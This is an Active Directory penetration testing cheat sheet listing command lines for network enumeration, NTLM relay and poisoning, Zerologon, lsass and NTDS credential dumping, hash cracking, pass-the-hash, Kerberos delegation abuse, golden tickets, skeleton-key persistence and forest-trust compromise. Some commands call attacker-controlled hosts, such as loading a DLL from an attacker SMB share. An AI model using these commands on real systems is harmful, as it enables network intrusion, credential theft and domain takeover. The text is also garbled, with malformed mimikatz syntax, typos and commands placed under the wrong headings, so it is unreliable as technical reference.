

Active Directory Penetration Manual

no credentials

- Scan Network
 - cme smb <ip> -p <ip> # enumerate smb hosts
 - nmap -sP -p <ip> # ping scan
 - nmap -PN -sV --top-ports 50 --open <ip> # quick scan
 - nmap -PN --script smb-vuln --pi39,445 <ip> # search smb vuln
 - nmap -PN -sC -sV <ip> # classic scan
 - nmap -PN -sC -sV -p <ip> # full scan
 - nmap -sC -sV <ip> # udp scan
- find AD IP
 - nmcli dev show eth0 # show domain name & dns
 - nslookup -type=SRV _ldap._tcp.dc._msdcs // DQKMAN
- zone transfert
 - dig axfr <domain_name> @<name_servers>
- List guest access on smb share
 - enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
 - smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
 - smbclient -U '%-L' //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
 - cme smb <ip> -u "" -p "" # enumerate null session
 - cme smb <ip> -u 'a' -p "" # enumerate anonymous access
- Enumerate ldap
 - nmap -n -sV --script ldap and not brute -p 389 <dc-ip>
 - ldapsearch -x -h <ip> -s base
- Find user list
 - enum4linux -U <dc-ip> | grep 'user:'
 - crackmapexec smb <ip> -u <user> -p '<passwords>' -users
 - OSINT - enumerate username on internet
- relay/poisoning
 - nmap -Pn -sS -T4 --open --script smb-security-mode --p445 ADDRESS/MASK
 - use exploit/windows/smb/smb_relay
 - cme smb <ip> --gen-relay-list relay.txt
 - PetitPotam.py -d <domain> -l <target_ip> -c <target_ip>
 - responder -i eth0
 - mitm6 -d <domain>
- zerologon
 - python3 cve-2020-1472-exploit.py <MACHINE, BIOS_NAME> <ip>
 - secretsdump.py <DOMAINS> <MACHINE, BIOS, NAME> @<ip> --no-pass --just-dc-user Administrator
 - secretsdump.py -hashes <HASH_admin> <DOMAINS/Administrator@<ip>
 - python3 restorepassword.py -target-ip <ip> <DOMAINS> <MACHINE, BIOS_NAME> @<ip>

classic quick compromise methods

- Low hanging fruit
 - MS17-010
 - exploit/multi/misc/java_rmi_server
 - exploit/windows/smb/ms17_010_eternalblue
 - auxiliary/scanner/http/tomcat_enum
 - exploit/multi/http/tomcat_mgr_deploy
 - tomcat/boss manager
 - java serialized port ysoserial
 - vulnerable product with cve searchsploit
 - MS14-025
 - use scanner/smb/smb_enum_gpp
 - findstr /S /I cpassword \\<<FQDN>\sysvol\<FQDN>\policies*.xml
 - database credentials
 - use admin/mssql/mssql_enum_sqlLogins
 - proxylogon
 - proxysHELL
- Got valid username
 - ASREPRoast
 - Get password policy
 - crackmapexec <ip> -u 'user' -p 'password' --pass-pot
 - enum4linux -u 'username' -p 'password' -P <ip>
 - Password spray
 - cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # test user/password
 - cme smb <dc-ip> -u user.txt -p password.txt # multiple test (careful of lock policy)
 - Get hash
 - python GetNUsers.py <domains> -usersfile <usernames.txt> -format hashcat -outfile <hashes.domain.txt>
 - Get ASREPRoastable users
 - Rubeus asreproast /format:hashcat
 - Get-DomainUser -PreauthNotRequired -Properties SamAccountName
 - MATCH (u:User (dontrepreauth:true)), (c:Computer), p=shortestPath(u)[*1]->(c) RETURN p
- no smb signing || ipv6 enabled || adcs
 - MS08-068
 - use exploit/windows/smb/relay # windows200 / windows server2008
 - responder -i eth0 # disable smb & http
 - ntlmrelay.py -f targets.txt
 - ntlmrelay.py -6 -w <attacker_ip> -l /tmp -socks -debug
 - ntlmrelay.py -6 -w <attacker_ip> -t smb://<target> -l /tmp -socks -debug
 - ntlmrelay.py -t ldap://<dc_ip> -w <attacker_ip> -delegate-access
 - getST.py -spn cifs/<target> <domains> /<netbios_name>S -impersonate <user>
 - cracking hash
 - john --format=lm hash.txt
 - LM
 - hashcat -m 3000 -a 3 hash.txt
 - john --format=ntlm hash.txt
 - NLTM
 - john --format=netntlm hash.txt
 - NLTMv1
 - hashcat -m 5500 -a 3 hash.txt
 - john --format=netntlmv1 hash.txt
 - NLTMv2
 - hashcat -m 5600 -a 0 hash.txt rockyou.txt
 - john spn.txt --format=krb5tgs --wordlist=rockyou.txt
 - Kerberos 5 TGS
 - hashcat -m 13100 -a 0 spn.txt rockyou.txt
 - Kerberos ASREP
 - hashcat -m 18200 -a 0 AS-REP_hashes rockyou.txt

Privilege escalation

- Low access
 - wineps.exe
 - search password files
 - findstr /s 'password' *.txt *.docx
 - Juicy Potato / Lovely Potato
 - PrintSpoofer
 - RoguePotato
 - SMBGhost CVE-2020-0796
 - CVE-2021-36934 (HiveNightmare/SeriousSAM)
- Administrator access
 - procdump.exe -acceptevla -ma lsass.exe lsass
 - mimikatz "privilege:debug" "sekurlsa:logonpasswords" "lsadump:sam" "exit"
 - minidump lsass.dmp "sekurlsa:logonpasswords" "exit"
 - get credentials
 - post/windows/gather/smart_hashdump hashdump
 - cme smb <ip> -u <user> -p <password> -M lsassy
 - cme smb <ip> -u <user> -p '<cpasswords>' --sam --lsa --ntds
 - LSA as a Protected Process
 - PPLDump64.exe -class exe\lsass\pid -lasss.dmp
 - mimikatz "l" "process:protect /process:lsass.exe /remove" "privilege:debug" "tokens: elevate" "sekurlsa:logonpasswords" "l" "process:protect /process:lsass.exe" "l" "#with mimidriver.sys
 - search password files
 - findstr /s 'password' *.txt *.xml *.docx
 - search stored password
 - lazagne.exe all
 - shadow copies
 - diskshadow list shadows all
 - mklink /d c:\shadowcopy \\\?GLOBALROOT\Device\HarddiskVolumeShadowCopy\
 - token manipulation
 - incognito.exe list/tokens -u
 - incognito.exe execute -c '<domain>\<user>' powershell.exe
 - got an admin access?
 - use incognito
 - impersonate_token <domain>\<user>
 - dpapi extract

got administrator access on one machine

- Administrator access
 - Get all users
 - GetADUsers.py -all -dc-ip <dc-ip> <domain> /<username>
 - enumerate SMB share
 - cme smb <ip> -u <user> -p <password> --shares
 - bloodhound -python -d <domain> -u <user> -p <password> -gc <dc> -c all
 - powerview / pyview
 - kerberoasting
 - Get hash
 - GetUserSPNs.py -request -dc-ip <dc-ip> <domain> /<user> -p <password>
 - Rubeus kerberoast
 - Get kerberoastable users
 - Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName
 - MATCH (u:User (hasspn:true)) RETURN u
 - MATCH (u:User (hasspn:true)), (c:Computer), p=shortestPath(u)[*1]->(c) RETURN p
 - MS14-068
 - FindSMBZUPTime.py <ip>
 - goldenPac.py -dc-ip <dc-ip> <domain> /<user> -p <password> @<target>
 - kerberos:ptc "ctickets"
 - dsnccmd.exe /config /serverleveluplevel <ll>
 - winic useraccount get name_sid
 - auxiliary/admin/kerberos/ms14_068/kerberos-checksum
 - sc \DNSServer stop dns
 - sc \DNSServer start dns
 - enum dns
 - dnstool.py -u 'DOMAIN' -p 'password' --record --action query <dc_ip>
 - PrintNightmare
 - CVE-2021-1675.py <domain> /<user> -p <password> @<target> \\<<smb_server_ip>\<share>\inject.dll

Pivoting to others computers

- pass the hash
 - psexec.py -hashes "-chash"> <user> @<ip>
 - wmiexec.py -hashes "-chash"> <user> @<ip>
 - atexec.py -hashes "-chash"> <user> @<ip> -command"
 - evil-winrm -i <ip> /<domain> -u <user> -H <hash>
 - xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>
- overpass the hash / pass the key (PTK)
 - Rubeus asktgt /user:victim /rc4-crc4value
 - Rubeus ptt /ticket:<ticket>
 - Rubeus createnotonly /program:C:\Windows\System32\cmd.exe /unpocn.exe
 - Rubeus ptt /uid:0xdeadbeef /ticket:<ticket>
- Unconstrained delegation
 - Get tickets
 - privilege:debug sekurlsa:tickets /export sekurlsa:tickets /export
 - Rubeus dump /service:krbtgt /nowrap
 - Rubeus dump /uid:0xdeadbeef /nowrap
 - Get unconstrained delegation machines
 - Get-NetComputer -Unconstrained
 - Get-DomainComputer -Unconstrained -Properties DnsHostName
 - MATCH (c:Computer (unconstraineddelegation:true)) RETURN c
 - MATCH (u:User (owned:true)), (c:Computer (unconstraineddelegation:true)), p=shortestPath(u)[*1]->(c) RETURN p
- Constrained delegation
 - Get tickets
 - privilege:debug sekurlsa:tickets /export sekurlsa:tickets /export
 - Rubeus dump /service:krbtgt /nowrap
 - Rubeus dump /uid:0xdeadbeef /nowrap
 - Get constrained delegation machines
 - Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo
 - MATCH (c:Computer), (t:Computer), p=((c)-[AllowedToDelegate]->(t)) RETURN p
 - MATCH (u:User (owned:true)), (c:Computer (name:"<MYTARGET.FQDN-?>"), p=shortestPath(u)[*1]->(c)) RETURN p
- Resource-Based Constrained Delegation
 - lsadump:dcsync /domain:htb.local /user:krbtgt # Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts
- dsync
 - CMPivot
- WSUSpect
 - WSUSpendu.ps1 # need compromised WSUS server
- sccm
 - CMPivot
- MSSQL Trusted Links
 - use exploit/windows/mssql/linkcrawler
- Printers spooler service abuse
 - rpcdump.py <domain> /<user> -p <password> @<domain_server> | grep MS-RPRN
 - printerbug.py <domain> /<username> <password> @<Printer-IP> <RESPONDERIP>
- AD acl abuse
 - acipw.py
- GPO Delegation
 - GenericAll on User
 - GenericAll on Group
 - GenericAll / GenericWrite / Write on Computer
 - WriteProperty on Group
 - Self (Self-Membership) on Group
 - WriteProperty (Self-Membership)
 - ForceChangePassword
 - WriteOwner on Group
 - GenericWrite on User
 - WriteDAcl - WriteOwner
- get laps passwords
 - Get-LAPSPasswords -DomainController <ip>, <dc> -Credential <domain>\<login> | Format-Table -AutoSize
 - foreach (\$objResult in \$colResults){ \$objComputer = \$objResult.Properties; \$objComputer.name | where { (\$objComputer.name -ne \$env:computername) && [foreach-object (Get-AdmPwdPassword -ComputerName \$obj)]
 - python privexchange.py -ah <attacker_host_or_ip> -e <exchange_host> -u <user> -d <domain> -p <password>
 - ntlmrelay.py -t ldap://<dc_fqdn> --escalate -u <user>
- ADCS
 - crackmapexec smb 127.0.0.1 -u <user> -p <password> -d <domain> --ntds
 - secretsdump.py <domain> /<user> -p <password> @<ip>
 - ntdsutil "ac i ntds" "create full c:\temp\q q"
 - windows/gather/credentials/domain_hashdump
 - secretsdump.py -ntds ntds.file.dll -system SYSTEM_FILE -hashes lmhash:ntlm:hash LOCAL -outfile ntlm-extract

Persistence

- net group "domain admins" myuser /add /domain
- Golden ticket
 - ticketer.py -nthash <nthash> -domain-sid <domain-sid> -domain <domain> -user <user>
- Silver Ticket
 - PowerShell New-ItemProperty "HKLM\System\CurrentControlSet\Control\Lsa" -Name "DismAdminLogonBehavior" -Value 2 -PropertyType DWORD
- DSRM
 - mimikatz "privilege:debug" "misc:skeleton" "exit"
- Skeleton Key
 - mimikatz "privilege:debug" "misc:memssp" "exit"
- Custom SSP
 - C:\Windows\System32\kwissp.log

Trust relationship

- Child Domain to Forest Compromise - SID Hijacking
 - Get-NetGroup -Domain <domain> -GroupName "Enterprise Admins" -FullData
 - select objectid
 - mimikatz lsadump:trust
 - kerberos:golden /user:Administrator /krbtgt <HASH_KRBTGT> /domain <domain> /sid:<user_sid> /sids:<RootDomainSID-519> /ptt
- Forest to Forest Compromise - Trust Ticket
 - kerberos:golden /user:Administrator /domain <domain> /sid:<domain.SID> /rc4-trust_key /service:krbtgt /target:<target_domain> /ticket
 - "/Rubeus.exe asktgt /ticket:krbi file /<golden_ticket_path>"
- Breaking forest trust
 - printerbug or petitpotam to force the DC of the external forest to connect on a local unconstrained delegation machine. Capture TGT, inject into memory and dsync.